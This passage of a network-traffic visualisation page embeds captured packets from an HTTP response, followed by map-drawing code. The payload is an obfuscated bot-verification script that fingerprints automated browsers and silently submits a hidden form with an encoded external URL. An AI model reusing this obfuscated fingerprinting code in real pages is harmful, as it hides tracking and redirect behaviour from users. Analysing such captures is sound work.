38323039363039382c33362e3833353536323220372e38393936363832392c33342e3736393835343920382e373331393132322c33322e3538313438392043372e36383335383239332c33302e3137363436343620362e31313139343837382c32382e303139303520342e39373133333930322c32352e3634353535220a202020202020202020202020202020202020202020202020202069643d2246696c6c2d3134222066696c6c3d2223343637433435223e3c2f706174683e0a20202020202020202020202020202020202020203c7061746820643d224d31352e343534393138332c33352e38373730343838204331392e343637313133342c33332e393331373037332032332e343438333537332c33312e383935323331372032372e343931353033372c33302e30343333313731204332362e343131303736382c33332e363534323932372032352e303232323834312c33372e3230333933392032332e383138363235362c34302e38313433343135204332332e313039303430322c34322e373237353835342032322e353533303634362c34342e373033333034392032312e373531313938382c34362e35383535393736204332302e373633303532342c34342e343836363436332032302e303533343637312c34322e323635303336362031392e313237373936332c34302e31333531333431204331362e363237363235362c33392e323039343633342031342e303034323233322c33382e3638343433392031312e343733363734342c33372e39373438353337204331322e363737333332392c33372e303830313334312031342e313538343036312c33362e3538363036312031352e343534393138332c33352e38373730343838220a202020202020202020202020202020202020202020202020202069643d2246696c6c2d3136222066696c6c3d2223343637433435223e3c2f706174683e0a202020202020202020202020202020203c2f673e0a2020202020202020202020203c2f673e0a20202020202020203c2f673e0a202020203c2f7376673e0a3c2f6469763e0a2020202020203c6469762069643d2274657874223e0a2020202020202020506c656173652077616974207768696c6520796f75722072657175657374206973206265696e672076657269666965642e2e2e0a2020202020203c2f6469763e0a202020203c2f6469763e0a20203c2f6469763e0a20203c6469762069643d2279376c697871783764366364223e3c2f6469763e0a20203c7363726970743e0a2866756e6374696f6e28552c73297b766172206130493d7b553a30783137652c733a30783136612c6d3a30783136392c503a30783139332c443a30783139302c4c3a30783135657d2c4e3d6130502c6d3d5528293b7768696c652821215b5d297b7472797b76617220503d7061727365496e74284e286130492e5529292f3078312b7061727365496e74284e28307831393729292f307832\", \"payload_ascii\": \"=\\\"Fill-1\\\" fill=\\\"#467C45\\\"></path>\\n                    <path d=\\\"M13.7718598,8.94461585 C16.1424939,7.68077439 18.4500793,6.28968902 20.8207134,5.02527439 C18.9240915,10.8412378 16.7747012,16.5614817 14.8465549,22.3774451 C12.7292622,18.3950549 10.895689,14.2544695 8.9044939,10.2090305 C8.27228659,8.85004268 7.5455061,7.55353049 7.00844512,6.16359146 C9.31545732,6.95342073 11.4648476,8.24935976 13.7718598,8.94461585\\\"\\n                          id=\\\"Fill-3\\\" fill=\\\"#467C45\\\"></path>\\n                    <path d=\\\"M24.2134256,15.0745049 C29.4602305,12.4969561 34.7379866,9.91940732 40.0157427,7.4031878 C39.1565598,9.61276098 38.1747183,11.7300537 37.2232549,13.9086756 C38.4504134,16.2099561 39.9544134,18.388578 41.0898646,20.7511878 C35.4435598,18.9405415 29.8287793,17.0381878 24.2134256,15.0745049\\\"\\n                          id=\\\"Fill-5\\\" fill=\\\"#467C45\\\"></path>\\n                    <g id=\\\"Group-9\\\"\\n                       transform=\\\"translate(0.000000, 11.919659)\\\">\\n                        <mask id=\\\"mask-2\\\" fill=\\\"white\\\">\\n                            <use xlink:href=\\\"#path-1\\\"></use>\\n                        </mask>\\n                        <g id=\\\"Clip-8\\\"></g>\\n                        <path d=\\\"M8.34869024,0.375484146 C9.93064146,3.33419146 11.2781659,6.43963049 12.7426171,9.45622805 C13.7387878,11.5362646 14.793422,13.5876427 15.7013244,15.7255695 C10.4579585,13.9091915 5.21401951,12.03435 -0.000114634146,10.0718134 C2.05069024,9.1341061 4.21842195,8.4898622 6.29845854,7.61119146 C6.97193415,5.17980122 7.67521463,2.77706951 8.34869024,0.375484146\\\"\\n                              id=\\\"Fill-7\\\" fill=\\\"#467C45\\\"\\n                              mask=\\\"url(#mask-2)\\\"></path>\\n                    </g>\\n                    <path d=\\\"M29.1793195,18.0496049 C33.5600634,19.4670561 37.9081366,21.0776659 42.2888805,22.5593122 C43.6742341,23.0745927 45.1558805,23.4609098 46.5085634,24.1372512 C44.2216122,25.039422 41.9025634,25.9100683 39.6477098,26.8110927 C38.8103073,29.4195927 38.2302585,32.1261049 37.3607585,34.7346049 C35.5890878,31.4497634 34.0432463,28.0353854 32.3684415,24.6852024 C31.3052098,22.4945439 30.1456854,20.3044585 29.1793195,18.0496049\\\"\\n                          id=\\\"Fill-10\\\" fill=\\\"#467C45\\\"></path>\\n                    <path d=\\\"M28.9972232,29.3489207 C29.5789915,27.69475 30.0684793,26.0113476 30.7419549,24.3887012 C31.538089,25.7660305 32.1811866,27.2356402 32.9154183,28.6444939 C34.7220524,32.4709817 36.68115,36.205189 38.4568329,40.0316768 C36.2827963,39.1449817 34.1402841,38.1654329 31.9364427,37.2460671 C29.6403207,38.4709329 27.4662841,39.9405427 25.1094061,41.1035061 C26.3033207,37.1549329 27.7419793,33.2671159 28.9972232,29.3489207\\\"\\n                          id=\\\"Fill-12\\\" fill=\\\"#467C45\\\"></path>\\n                    <path d=\\\"M4.97133902,25.64555 C9.93385122,27.1873793 14.7737049,29.036428 19.6748878,30.6705378 C20.4148512,30.9170012 21.1542415,31.1944159 21.8328756,31.5337329 C16.5304732,33.9685622 11.3214976,36.6498549 5.95776585,38.99355 C6.82096098,36.8355622 7.89966829,34.7698549 8.7319122,32.581489 C7.68358293,30.1764646 6.11194878,28.01905 4.97133902,25.64555\\\"\\n                          id=\\\"Fill-14\\\" fill=\\\"#467C45\\\"></path>\\n                    <path d=\\\"M15.4549183,35.8770488 C19.4671134,33.9317073 23.4483573,31.8952317 27.4915037,30.0433171 C26.4110768,33.6542927 25.0222841,37.203939 23.8186256,40.8143415 C23.1090402,42.7275854 22.5530646,44.7033049 21.7511988,46.5855976 C20.7630524,44.4866463 20.0534671,42.2650366 19.1277963,40.1351341 C16.6276256,39.2094634 14.0042232,38.684439 11.4736744,37.9748537 C12.6773329,37.0801341 14.1584061,36.586061 15.4549183,35.8770488\\\"\\n                          id=\\\"Fill-16\\\" fill=\\\"#467C45\\\"></path>\\n                </g>\\n            </g>\\n        </g>\\n    </svg>\\n</div>\\n      <div id=\\\"text\\\">\\n        Please wait while your request is being verified...\\n      </div>\\n    </div>\\n  </div>\\n  <div id=\\\"y7lixqx7d6cd\\\"></div>\\n  <script>\\n(function(U,s){var a0I={U:0x17e,s:0x16a,m:0x169,P:0x193,D:0x190,L:0x15e},N=a0P,m=U();while(!![]){try{var P=parseInt(N(a0I.U))/0x1+parseInt(N(0x197))/0x2\"}, {\"packet_number\": 26, \"timestamp\": 1777364230.071749, \"timestamp_iso\": \"2026-04-28T13:47:10.071749\", \"timestamp_human\": \"2026-04-28 13:47:10.071\", \"size\": 2974, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"200.58.112.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 18380, \"ip_len\": 2960, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50146, \"tcp_seq\": 2107333422, \"tcp_ack\": 1929701695, \"tcp_window\": 82, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2920, \"payload_preview\": \"2a287061727365496e74284e286130492e7329292f307833292b2d7061727365496e74284e286130492e6d29292f3078342b2d7061727365496e74284e28307831383129292f3078352a282d7061727365496e74284e286130492e5029292f307836292b2d7061727365496e74284e286130492e4429292f3078372b7061727365496e74284e28307831383729292f3078382a287061727365496e74284e286130492e4c29292f307839292b2d7061727365496e74284e28307831376229292f3078612a287061727365496e74284e28307831373629292f307862293b696628503d3d3d7329627265616b3b656c7365206d5b2770757368275d286d5b277368696674275d2829293b7d63617463682844297b6d5b2770757368275d286d5b277368696674275d2829293b7d7d7d2861306d2c3078353330363129293b66756e6374696f6e2061306d28297b76617220653d5b27666f726d272c2764343930333062333439272c27646f63756d656e74272c27656e7472696573272c273136717641426f6e272c276c616e6775616765272c27746f537472696e67272c27696e707574272c2742794964272c27676574456c656d656e74272c27617070656e644368696c272c275f5f70726f746f5f5f272c276e616d65272c273135373135304a6244434559272c27666f7245616368272c276f757465725769647468272c273333383638326259626c4868272c2776616c7565272c2774797065272c27646973706c61793a6e6f272c2734366c6548415746272c276170706c79272c27474554272c276d6170272c2732333637353835577365584f77272c277375626d6974272c2770726f746f74797065272c276d696d655479706573272c276e653b272c276164644576656e744c69272c27736561726368272c27757365724167656e74272c276c656e677468272c276f70656e272c27656e74272c273239323238384b5a434f6a70272c2736393835356a5963497168272c27706c7567696e73272c2731623431623038663132272c272828282e2b292b292b29272c2730393530363335303237272c2774656368616e6765272c2766696c746572272c276174746163684576656e272c276c616e677561676573272c276f6e7265616479737461272c27637265617465456c656d272c27636f6e7374727563746f272c27313156616c50724b272c276f757465724865696768272c277374656e6572272c2737666133623736376334272c27617070656e64272c2731333434393739304a506b547845272c2773656e64272c27776562647269766572272c27363632343334644a66756961272c2761363130356330613631272c2768696464656e272c27354e6c6e774949272c274c6f61646564275d3b61306d3d66756e6374696f6e28297b72657475726e20653b7d3b72657475726e2061306d28293b7d766172206130443d77696e646f775b276e6176696761746f72275d2c61304c3d7b27776562647269766572436865636b273a66756e6374696f6e28297b76617220783d6130503b72657475726e2777656264726976657227696e2077696e646f777c7c21216130445b78283078313764295d3b7d2c27757365724167656e74436865636b273a66756e6374696f6e28297b766172206130513d7b553a30783136357d2c723d6130503b72657475726e2f686561646c6573737c627974657370696465722f695b2774657374275d286130445b72286130512e55295d293b7d2c2761707056657273696f6e436865636b273a66756e6374696f6e28297b72657475726e2f686561646c6573732f695b2774657374275d286130445b2761707056657273696f6e275d293b7d2c27706c7567696e417272617953706f6f66696e67273a66756e6374696f6e28297b766172206130633d7b553a30783136622c733a30783138652c6d3a30783136367d2c643d6130503b6c657420553d506c7567696e41727261795b64283078313630295d3d3d3d6130445b64286130632e55295d5b64286130632e73295d3b6966286130445b64286130632e55295d5b64286130632e6d295d3e3078302955263d506c7567696e5b64283078313630295d3d3d3d6130445b27706c7567696e73275d5b3078305d5b64283078313865295d3b72657475726e21553b7d2c276d696d6554797065417272617953706f6f66696e67273a66756e6374696f6e28297b766172206130583d7b553a30783136302c733a30783138652c6d3a30783136302c503a30783136317d2c5a3d6130503b6c657420553d4d696d655479706541727261795b5a286130582e55295d3d3d3d6130445b276d696d655479706573275d5b5a286130582e73295d3b6966286130445b5a283078313631295d5b5a283078313636295d3e3078302955263d4d696d65547970655b5a286130582e6d295d3d3d3d6130445b5a286130582e50295d5b3078305d5b5a286130582e73295d3b72657475726e21553b7d2c276e6f4c616e6775616765273a66756e6374696f6e28297b766172206130473d7b553a30783137327d2c613d6130503b72657475726e216130445b61283078313838295d7c7c6130445b61286130472e55295d5b61283078313636295d3d3d3d3078303b7d2c277a65726f4f7574657244696d656e73696f6e73273a66756e6374696f6e28297b76617220483d6130503b72657475726e2077696e646f775b48283078313737292b2774275d3d3d3d307830262677696e646f775b48283078313932295d3d3d3d3078303b7d7d2c6130763d66756e6374696f6e286d2c50297b766172206130533d7b553a30783136332c733a30783137382c6d3a30783138352c503a30783136332c443a30783137337d2c61306b3d7b553a30783136342c733a30783136642c6d3a30783138392c503a30783137357d2c423d6130502c443d2866756e6374696f6e28297b76617220763d21215b5d3b72657475726e2066756e6374696f6e28592c4b297b76617220433d763f66756e6374696f6e28297b76617220523d6130503b6966284b297b76617220683d4b5b52283078313938295d28592c617267756d656e7473293b72657475726e204b3d6e756c6c2c683b7d7d3a66756e6374696f6e28297b7d3b72657475726e20763d215b5d2c433b7d3b7d2829292c4c3d4428746869732c66756e6374696f6e28297b76617220673d6130503b72657475726e204c5b67283078313839295d28295b672861306b2e55295d28672861306b2e73292b272b2427295b672861306b2e6d295d28295b672861306b2e50292b2772275d284c295b67283078313634295d28272828282e2b292b292b29272b272b2427293b7d293b4c28292c77696e646f775b42286130532e55292b42286130532e73295d3f77696e646f775b42286130532e6d295d5b42286130532e50292b42283078313738295d2827444f4d436f6e74656e74272b42283078313832292c6d2c50293a77696e646f775b42286130532e6d295d5b42283078313731292b2774275d2842286130532e44292b42283078313666292c6d293b7d3b66756e6374696f6e2061305028552c73297b766172206d3d61306d28293b72657475726e206130503d66756e6374696f6e28502c44297b503d502d30783135643b766172204c3d6d5b505d3b72657475726e204c3b7d2c61305028552c73293b7d6130762866756e6374696f6e28297b766172206130703d7b553a30783138632c733a30783138622c6d3a30783138352c503a30783137342c443a30783137342c4c3a30783136382c763a30783138612c593a30783135642c4b3a30783137302c433a30783137612c683a30783136632c6f3a30783136372c793a30783137632c713a30783139362c4f3a30783139392c413a30783139342c563a30783137392c543a30783138302c463a30783139352c743a30783139352c493a30783138642c7a3a30783135667d3b73657454696d656f75742866756e6374696f6e28297b76617220453d6130502c553d77696e646f775b27646f63756d656e7427\", \"payload_ascii\": \"*(parseInt(N(a0I.s))/0x3)+-parseInt(N(a0I.m))/0x4+-parseInt(N(0x181))/0x5*(-parseInt(N(a0I.P))/0x6)+-parseInt(N(a0I.D))/0x7+parseInt(N(0x187))/0x8*(parseInt(N(a0I.L))/0x9)+-parseInt(N(0x17b))/0xa*(parseInt(N(0x176))/0xb);if(P===s)break;else m['push'](m['shift']());}catch(D){m['push'](m['shift']());}}}(a0m,0x53061));function a0m(){var e=['form','d49030b349','document','entries','16qvABon','language','toString','input','ById','getElement','appendChil','__proto__','name','157150JbDCEY','forEach','outerWidth','338682bYblHh','value','type','display:no','46leHAWF','apply','GET','map','2367585WseXOw','submit','prototype','mimeTypes','ne;','addEventLi','search','userAgent','length','open','ent','292288KZCOjp','69855jYcIqh','plugins','1b41b08f12','(((.+)+)+)','0950635027','techange','filter','attachEven','languages','onreadysta','createElem','constructo','11ValPrK','outerHeigh','stener','7fa3b767c4','append','13449790JPkTxE','send','webdriver','662434dJfuia','a6105c0a61','hidden','5NlnwII','Loaded'];a0m=function(){return e;};return a0m();}var a0D=window['navigator'],a0L={'webdriverCheck':function(){var x=a0P;return'webdriver'in window||!!a0D[x(0x17d)];},'userAgentCheck':function(){var a0Q={U:0x165},r=a0P;return/headless|bytespider/i['test'](a0D[r(a0Q.U)]);},'appVersionCheck':function(){return/headless/i['test'](a0D['appVersion']);},'pluginArraySpoofing':function(){var a0c={U:0x16b,s:0x18e,m:0x166},d=a0P;let U=PluginArray[d(0x160)]===a0D[d(a0c.U)][d(a0c.s)];if(a0D[d(a0c.U)][d(a0c.m)]>0x0)U&=Plugin[d(0x160)]===a0D['plugins'][0x0][d(0x18e)];return!U;},'mimeTypeArraySpoofing':function(){var a0X={U:0x160,s:0x18e,m:0x160,P:0x161},Z=a0P;let U=MimeTypeArray[Z(a0X.U)]===a0D['mimeTypes'][Z(a0X.s)];if(a0D[Z(0x161)][Z(0x166)]>0x0)U&=MimeType[Z(a0X.m)]===a0D[Z(a0X.P)][0x0][Z(a0X.s)];return!U;},'noLanguage':function(){var a0G={U:0x172},a=a0P;return!a0D[a(0x188)]||a0D[a(a0G.U)][a(0x166)]===0x0;},'zeroOuterDimensions':function(){var H=a0P;return window[H(0x177)+'t']===0x0&&window[H(0x192)]===0x0;}},a0v=function(m,P){var a0S={U:0x163,s:0x178,m:0x185,P:0x163,D:0x173},a0k={U:0x164,s:0x16d,m:0x189,P:0x175},B=a0P,D=(function(){var v=!![];return function(Y,K){var C=v?function(){var R=a0P;if(K){var h=K[R(0x198)](Y,arguments);return K=null,h;}}:function(){};return v=![],C;};}()),L=D(this,function(){var g=a0P;return L[g(0x189)]()[g(a0k.U)](g(a0k.s)+'+$')[g(a0k.m)]()[g(a0k.P)+'r'](L)[g(0x164)]('(((.+)+)+)'+'+$');});L(),window[B(a0S.U)+B(a0S.s)]?window[B(a0S.m)][B(a0S.P)+B(0x178)]('DOMContent'+B(0x182),m,P):window[B(a0S.m)][B(0x171)+'t'](B(a0S.D)+B(0x16f),m);};function a0P(U,s){var m=a0m();return a0P=function(P,D){P=P-0x15d;var L=m[P];return L;},a0P(U,s);}a0v(function(){var a0p={U:0x18c,s:0x18b,m:0x185,P:0x174,D:0x174,L:0x168,v:0x18a,Y:0x15d,K:0x170,C:0x17a,h:0x16c,o:0x167,y:0x17c,q:0x196,O:0x199,A:0x194,V:0x179,T:0x180,F:0x195,t:0x195,I:0x18d,z:0x15f};setTimeout(function(){var E=a0P,U=window['document'\"}, {\"packet_number\": 28, \"timestamp\": 1777364230.072075, \"timestamp_iso\": \"2026-04-28T13:47:10.072075\", \"timestamp_human\": \"2026-04-28 13:47:10.072\", \"size\": 406, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"200.58.112.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 18382, \"ip_len\": 392, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50146, \"tcp_seq\": 2107336342, \"tcp_ack\": 1929701695, \"tcp_window\": 82, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 352, \"payload_preview\": \"5d5b45286130702e55292b45286130702e73295d282779376c69787178376436636427292c733d2b28282b212b5b5d2b21215b5d2b21215b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b5b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b5b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b5b5d292b282b212b5b5d2b21215b5d29292c6d3d77696e646f775b27646f63756d656e74275d5b45283078313734292b27656e74275d284528307831383329292c503d77696e646f775b45286130702e6d295d5b45286130702e50292b4528307831\", \"payload_ascii\": \"][E(a0p.U)+E(a0p.s)]('y7lixqx7d6cd'),s=+((+!+[]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![])),m=window['document'][E(0x174)+'ent'](E(0x183)),P=window[E(a0p.m)][E(a0p.P)+E(0x1\"}, {\"packet_number\": 29, \"timestamp\": 1777364230.184088, \"timestamp_iso\": \"2026-04-28T13:47:10.184088\", \"timestamp_human\": \"2026-04-28 13:47:10.184\", \"size\": 1514, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"200.58.112.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 18383, \"ip_len\": 1500, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50146, \"tcp_seq\": 2107336694, \"tcp_ack\": 1929701695, \"tcp_window\": 82, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1460, \"payload_preview\": \"3638295d2827696e70757427292c443d77696e646f775b45283078313835295d5b45286130702e44292b45286130702e4c295d2827696e70757427292c4c3d77696e646f775b27646f63756d656e74275d5b45283078313734292b45286130702e4c295d2845286130702e7629292c763d77696e646f775b45286130702e6d295d5b27637265617465456c656d272b45283078313638295d2827696e70757427292c593d2b28282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d292b282b212b5b5d2b21215b5d2b21215b5d2b5b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b5b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b5b5d292b282b212b5b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d2b21215b5d29292c4b3d277773696463686b272c433d277064617461272c683d27687474702533412532462532467777772e7669616e776172652e636f6d25324635327337253246253346626c4e2533445a3264396c614168666132253236336c503025334442716f796c6364436c7a57524f775756613270743473345741716f6d2532424d2532465478494b6254496a46483538514c3252253246416155437752304e717761526966737a326e563448326346754942586356445153384773677764466e375737555a7a7877384b4178636b49324a6e6652753350644361716f33746c56746943723369434f6c69253246667741253344272c6f3d272f7a30663736613164313466643231613866623566643064303365306664633364336365646165353266272c793d276661696c6564436865636b73272c713d4f626a6563745b45283078313836295d2861304c295b45286130702e59295d28285b542c465d293d3e7b7472797b72657475726e204628293f543a6e756c6c3b7d63617463682874297b72657475726e206e756c6c3b7d7d295b45286130702e4b295d28543d3e54213d3d6e756c6c292c4f3d715b45283078313636295d3e3078303b6966284f297b76617220413d6e65772055524c536561726368506172616d7328293b415b45286130702e43295d28276964272c45283078313766292b45286130702e68292b45283078313665292b27396527292c415b45283078313761295d28277473272c273137373733363432323927292c415b45283078313761295d284b2c732b59292c415b45283078313761295d28432c68292c715b45283078313931295d28543d3e415b45283078313761295d28792c5429293b76617220563d6e657720584d4c487474705265717565737428293b565b45286130702e6f295d2827474554272c6f2b273f272b415b45283078313839295d2829292c565b45286130702e79295d286e756c6c293b7d656c7365206d5b276964275d3d2779376c697871783764366364272c6d5b277374796c65275d3d45286130702e71292b45283078313632292c6d5b276d6574686f64275d3d45286130702e4f292c6d5b27616374696f6e275d3d6f2c505b276964275d3d27756970676d663633696c6b75272c505b276e616d65275d3d4b2c505b45283078313934295d3d732b592c505b45283078313935295d3d2768696464656e272c4c5b45283078313866295d3d276964272c4c5b45286130702e41295d3d45286130702e56292b2736306235346132626534272b45283078313834292b276337272c4c5b45283078313935295d3d45286130702e54292c765b276e616d65275d3d277473272c765b2776616c7565275d3d2731373737333634323239272c765b45286130702e46295d3d2768696464656e272c445b276964275d3d2776337735336b726963736f38272c445b45283078313866295d3d\", \"payload_ascii\": \"68)]('input'),D=window[E(0x185)][E(a0p.D)+E(a0p.L)]('input'),L=window['document'][E(0x174)+E(a0p.L)](E(a0p.v)),v=window[E(a0p.m)]['createElem'+E(0x168)]('input'),Y=+((+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])),K='wsidchk',C='pdata',h='http%3A%2F%2Fwww.vianware.com%2F52s7%2F%3FblN%3DZ2d9laAhfa2%263lP0%3DBqoylcdClzWROwWVa2pt4s4WAqom%2BM%2FTxIKbTIjFH58QL2R%2FAaUCwR0NqwaRifsz2nV4H2cFuIBXcVDQS8GsgwdFn7W7UZzxw8KAxckI2JnfRu3PdCaqo3tlVtiCr3iCOli%2FfwA%3D',o='/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f',y='failedChecks',q=Object[E(0x186)](a0L)[E(a0p.Y)](([T,F])=>{try{return F()?T:null;}catch(t){return null;}})[E(a0p.K)](T=>T!==null),O=q[E(0x166)]>0x0;if(O){var A=new URLSearchParams();A[E(a0p.C)]('id',E(0x17f)+E(a0p.h)+E(0x16e)+'9e'),A[E(0x17a)]('ts','1777364229'),A[E(0x17a)](K,s+Y),A[E(0x17a)](C,h),q[E(0x191)](T=>A[E(0x17a)](y,T));var V=new XMLHttpRequest();V[E(a0p.o)]('GET',o+'?'+A[E(0x189)]()),V[E(a0p.y)](null);}else m['id']='y7lixqx7d6cd',m['style']=E(a0p.q)+E(0x162),m['method']=E(a0p.O),m['action']=o,P['id']='uipgmf63ilku',P['name']=K,P[E(0x194)]=s+Y,P[E(0x195)]='hidden',L[E(0x18f)]='id',L[E(a0p.A)]=E(a0p.V)+'60b54a2be4'+E(0x184)+'c7',L[E(0x195)]=E(a0p.T),v['name']='ts',v['value']='1777364229',v[E(a0p.F)]='hidden',D['id']='v3w53kricso8',D[E(0x18f)]=\"}, {\"packet_number\": 30, \"timestamp\": 1777364230.184132, \"timestamp_iso\": \"2026-04-28T13:47:10.184132\", \"timestamp_human\": \"2026-04-28 13:47:10.184\", \"size\": 253, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"200.58.112.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 18384, \"ip_len\": 239, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50146, \"tcp_seq\": 2107338154, \"tcp_ack\": 1929701695, \"tcp_window\": 82, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,PSH,ACK\", \"payload_size\": 199, \"payload_preview\": \"432c445b45283078313934295d3d682c445b45286130702e74295d3d2768696464656e272c6d5b45283078313864292b2764275d2850292c6d5b45286130702e49292b2764275d2844292c6d5b45283078313864292b2764275d284c292c6d5b27617070656e644368696c272b2764275d2876292c555b27617070656e644368696c272b2764275d286d292c6d5b45286130702e7a295d28293b7d2c3078336538293b7d2c215b5d293b0a20203c2f7363726970743e0a3c2f626f64793e0a3c2f68746d6c3e0a\", \"payload_ascii\": \"C,D[E(0x194)]=h,D[E(a0p.t)]='hidden',m[E(0x18d)+'d'](P),m[E(a0p.I)+'d'](D),m[E(0x18d)+'d'](L),m['appendChil'+'d'](v),U['appendChil'+'d'](m),m[E(a0p.z)]();},0x3e8);},![]);\\n  <\\\\\\\\/script>\\n</body>\\n</html>\\n\"}, {\"packet_number\": 33, \"timestamp\": 1777364230.185859, \"timestamp_iso\": \"2026-04-28T13:47:10.185859\", \"timestamp_human\": \"2026-04-28 13:47:10.185\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"200.58.112.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50146, \"tcp_seq\": 2107338354, \"tcp_ack\": 1929701696, \"tcp_window\": 82, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 9, \"PSH\": 5, \"FIN\": 1}, \"packet_sizes\": [66, 54, 3470, 4102, 2974, 406, 1514, 253, 54], \"inter_packet_intervals\": [0.003593921661376953, 0.8086268901824951, 0.026949167251586914, 3.790855407714844e-05, 0.00032591819763183594, 0.11201310157775879, 4.410743713378906e-05, 0.0017268657684326172], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 0.9533178806304932, \"avg_packet_size\": 1432.5555555555557, \"packets_per_second\": 9.440712466284273, \"bytes_per_second\": 13524.345091978126, \"min_packet_size\": 54, \"max_packet_size\": 4102, \"median_packet_size\": 406, \"avg_interval\": 0.11916473507881165, \"min_interval\": 3.790855407714844e-05, \"max_interval\": 0.8086268901824951}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = 